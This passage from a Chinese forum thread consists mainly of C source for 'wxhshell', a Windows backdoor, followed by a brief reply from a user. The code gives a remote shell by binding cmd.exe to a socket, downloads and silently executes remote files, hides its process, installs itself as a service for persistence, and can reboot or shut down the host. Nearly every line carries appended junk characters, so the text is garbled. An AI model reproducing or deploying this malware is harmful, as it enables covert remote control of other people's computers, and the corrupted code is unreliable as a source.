    } ]?+{aS-]?k  
N2C7[z+l`  
  // 下载文件 % Zjdl  
  if(strstr(cmd,"http://")) { fyknP)21I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EgjR^A1W2  
  if(DownloadFile(cmd,wsh)) O+q/4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zeb=8 Dg :  
  else 80OtO#1y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <AH1i@4  
  } #%0Bx3uM  
  else { }_9,w;M$  
=q7Z qP  
    switch(cmd[0]) { dt@P>rel  
  yw-8#y  
  // 帮助 (V`Md\NL`  
  case '?': { : 18KR*;p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m0n)dje  
    break; :KJ pk:<  
  } "\C$   
  // 安装 pKiZ)3U  
  case 'i': { aT!'}GjL  
    if(Install()) PXzsj.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U1_@F$mq<  
    else {9Y+.46S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -VxTx^)>  
    break; Q/uwQ o/  
    } W&* f#E  
  // 卸载 (.w Ie/  
  case 'r': { M5nWVK7c  
    if(Uninstall()) R'EUV0KX>Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VVH.2&`I  
    else {'?)FX*W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )'17r82a  
    break; g VQjL+_W  
    } wO ?+Nh  
  // 显示 wxhshell 所在路径 b2aF 'y/  
  case 'p': { aRG2@5  
    char svExeFile[MAX_PATH]; HEA#bd\  
    strcpy(svExeFile,"\n\r"); Dd;Nz  
      strcat(svExeFile,ExeFile); kB?al#`  
        send(wsh,svExeFile,strlen(svExeFile),0); &j(+/;A  
    break; J)P$2#  
    } R\o<7g-|  
  // 重启 -~?J+o+Pr"  
  case 'b': { )* 4fzo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |D, +P  
    if(Boot(REBOOT)) DXz} YIEC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]|`C uc  
    else { 64hk2a8  
    closesocket(wsh); :ba5iMa  
    ExitThread(0); 311LC cRp  
    } w"R:\@ F  
    break; 626Z5Afg  
    } c478P=g=5  
  // 关机 5:'hj$~|\1  
  case 'd': { K~@Mg1R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PO 6&bIr  
    if(Boot(SHUTDOWN)) y|'SXM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7o8{mp'_  
    else { s kg*  
    closesocket(wsh); [IK  )  
    ExitThread(0); um9_ru~  
    } 4;2< ^[M  
    break; cJ54s}  
    } ) /z@vY  
  // 获取shell K)J(./  
  case 's': { ULQMG'P^D  
    CmdShell(wsh); !?|Th5e   
    closesocket(wsh); 9<KAXr#  
    ExitThread(0); O%FPS=  
    break; Th=eNL]  
  } L'u\ w  
  // 退出 jYe'V#5S#  
  case 'x': { )I3NeKWz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EVoE szR  
    CloseIt(wsh); tg{H9tU;  
    break; u9N 1pZ~  
    } u,&^&0K,  
  // 离开 l8?>>.<P=  
  case 'q': { #5f-`~^C{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V3"=w&2]K  
    closesocket(wsh); ELj\[&U  
    WSACleanup(); t25,0<iW  
    exit(1); ]w.;4`l*  
    break; [D!jv "  
        } ^/r7@:  
  } ho$ +L  
  } /Z$&pqs!  
7x@A%2J  
  // 提示信息 2o'Wy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _ A=$oVe  
} )'~6HO8Z  
  } 6Aku1h  
:$n=$C -wp  
  return; (JM5`XwM  
} 3d e_V|%  
bdc&1I$  
// shell模块句柄 pim!.=vN/U  
int CmdShell(SOCKET sock) ROous4MG  
{ x= 5N3[5  
STARTUPINFO si; m8o(J\]  
ZeroMemory(&si,sizeof(si)); %;rHrDP(>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |b)Y#)C;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !s&NT @ S  
PROCESS_INFORMATION ProcessInfo; !Y[lQXv  
char cmdline[]="cmd"; fyByz=pl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  t$De/Uq  
  return 0; +Nt2 +Y:O  
} ,d{"m)r<  
IkGfnXJ  
// 自身启动模式 lw< c2 C  
int StartFromService(void) ;<(W% _  
{ \Z+z?K O  
typedef struct DKBSFm{~Q  
{ s;6CExH  
  DWORD ExitStatus; [m|YWT=  
  DWORD PebBaseAddress; Np"exFqN k  
  DWORD AffinityMask; Yo|,]X>/  
  DWORD BasePriority; ~,i-8jl,  
  ULONG UniqueProcessId; 23DiW#o'  
  ULONG InheritedFromUniqueProcessId; 9R7 A8  
}   PROCESS_BASIC_INFORMATION; n:{qC{D-qS  
;,?KI$K  
PROCNTQSIP NtQueryInformationProcess; _t^{a]/H  
`1bv@yzq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i}B2R$Z3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *U P@9D  
_N{RVeO  
  HANDLE             hProcess; Pc NkAo  
  PROCESS_BASIC_INFORMATION pbi; Qm Ce>+  
!& z(:d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V7Ek-2M  
  if(NULL == hInst ) return 0; "HDcmIXg&  
@Bf%s(Uj+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @NNq z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vnr[}<L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <w)r`D6  
)'6DNa[y  
  if (!NtQueryInformationProcess) return 0; TjwBv6h  
Y]B)'[=h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e-"nB]n^/  
  if(!hProcess) return 0; UHTvCc  
W8KDX_vGJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'U\<IL#U  
HLV2~5Txc  
  CloseHandle(hProcess); mg$]QnbAnH  
\kU &^Hi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \v.C]{Gzc  
if(hProcess==NULL) return 0; Te<}*qvD  
+ayos[<0#  
HMODULE hMod; dAkgR~  
char procName[255]; (?(zH3  
unsigned long cbNeeded; `O[};3O&  
LYaZ1*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &iA?+kV  
s3R(vd  
  CloseHandle(hProcess); K%F,='P}  
xK6n0] A  
if(strstr(procName,"services")) return 1; // 以服务启动 p4-o/8rO  
D-4f >  
  return 0; // 注册表启动 2gq9k}38  
} @++.FEf  
iTAx=SG  
// 主模块 p|&Yku=  
int StartWxhshell(LPSTR lpCmdLine) g#t[LI9(F[  
{ I.94v #r  
  SOCKET wsl; V&\[)D'c  
BOOL val=TRUE; h?8]C#6^  
  int port=0; ?l^1 *Q,  
  struct sockaddr_in door; Y#lk6  
=yyp?WmC8  
  if(wscfg.ws_autoins) Install(); j"'(sW-  
!=:$lzS^  
port=atoi(lpCmdLine); (r D_(%o  
6DuEL=C  
if(port<=0) port=wscfg.ws_port; 7TDy.]  
|]ZYa.+:  
  WSADATA data; 30.@g[~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mM-8+H?~b  
$+3}po\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NF0%}II&xK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \DD0s8  
  door.sin_family = AF_INET; q11>f   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3 "Q=Vl"  
  door.sin_port = htons(port); FZtfh  
?}a;}Q 6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *?Kr*]dnLl  
closesocket(wsl); 2m35R&  
return 1; 'toa@5  
} B{C??g8/  
)Ib<F 7v  
  if(listen(wsl,2) == INVALID_SOCKET) { Z<SLc,]^  
closesocket(wsl); 7qg{v9|,  
return 1; )p~BQ~eip;  
} q&/Yg,p\  
  Wxhshell(wsl); \7l-@6 '7  
  WSACleanup(); YJ;j x0  
:xh?e N&  
return 0; .Jrqm  
jlBanGs?  
} Y<Xz wro0  
wm$}Pch  
// 以NT服务方式启动 pSr{>;bN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r!HwXeEn/  
{ l-s!A(l  
DWORD   status = 0; L.2/*H#  
  DWORD   specificError = 0xfffffff; 3plzHz,x  
%d>=+Ds[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _-9@qe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dz *7gL;7G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,^x4sA[/  
  serviceStatus.dwWin32ExitCode     = 0;  k7>|q"0C  
  serviceStatus.dwServiceSpecificExitCode = 0; Sz^5b!  
  serviceStatus.dwCheckPoint       = 0; f"9q^  
  serviceStatus.dwWaitHint       = 0; qd#sY.|1  
$T`<Qq-r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4 &_NJ\  
  if (hServiceStatusHandle==0) return; niqN{  
6q]5Es<  
status = GetLastError(); i 2sN3it  
  if (status!=NO_ERROR) \L(*]:EP  
{ 5o6>T!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /}PF\j9#4  
    serviceStatus.dwCheckPoint       = 0; GHsilba  
    serviceStatus.dwWaitHint       = 0; s_> f5/i2  
    serviceStatus.dwWin32ExitCode     = status; |R56ho5C  
    serviceStatus.dwServiceSpecificExitCode = specificError; $zyIuJN#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XvE9 b5}  
    return; lK4M.QV ?\  
  } -,+q#F  
qWx][D"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |{@8m9JR  
  serviceStatus.dwCheckPoint       = 0; m <w "T7  
  serviceStatus.dwWaitHint       = 0; <6fv1d+v  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >9f%@uSM$3  
} jWY$5Vq<H  
!O#dV1wAa  
// 处理NT服务事件,比如:启动、停止 lr{?"tl_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <7n4_RlF!  
{ L9@&2?k  
switch(fdwControl) Qed.4R:o  
{ gt ";2,;X  
case SERVICE_CONTROL_STOP: m@Qt.4m%g  
  serviceStatus.dwWin32ExitCode = 0; /MF! GM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :Pg}Zz<  
  serviceStatus.dwCheckPoint   = 0; 4<?8M vF  
  serviceStatus.dwWaitHint     = 0; \T\b NbPn  
  { 3` #6ACF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6sE{{,OGB  
  } 2PeR   
  return; \/SQ,*O  
case SERVICE_CONTROL_PAUSE: _9?I A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d)[;e()  
  break; (s1k$@d  
case SERVICE_CONTROL_CONTINUE: sU"}-de  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eXkujjSw"  
  break; 3 AHY|  
case SERVICE_CONTROL_INTERROGATE: sT/c_^y  
  break; 5|I[>Su  
}; Bcjx>#3?L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r&2~~_d3y  
} U^.4Hy&D  
LFZ iPu  
// 标准应用程序主函数 H%1$,]F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C'!;J  
{ X/; p-KX  
r,]#b[:.s|  
// 获取操作系统版本 ?hR7<02  
OsIsNt=GetOsVer(); Y];Ycj;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y')RT R{>M  
|w*R8ro_  
  // 从命令行安装 8$c bVMjh  
  if(strpbrk(lpCmdLine,"iI")) Install(); a6h>=uT [  
s3 ;DG  
  // 下载执行文件 Qe'g3z>  
if(wscfg.ws_downexe) { NJ MJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gUAxyV  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8*SP~q  
} '&FjW-`" G  
@[6,6:h|  
if(!OsIsNt) { a Zk&`Jpz  
// 如果时win9x,隐藏进程并且设置为注册表启动 npDIX  
HideProc(); K?4FT$9G  
StartWxhshell(lpCmdLine); Vi]c%*k  
} O3N_\B:  
else 3p*-tBOO  
  if(StartFromService()) I<=Df5M  
  // 以服务方式启动 i1oKrRv  
  StartServiceCtrlDispatcher(DispatchTable); _Hd{sd#xX1  
else {S<>&?XB  
  // 普通方式启动 @4!x>q$3  
  StartWxhshell(lpCmdLine); tehUD&  
*zWWmxcJa  
return 0; U,lJ"$'  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五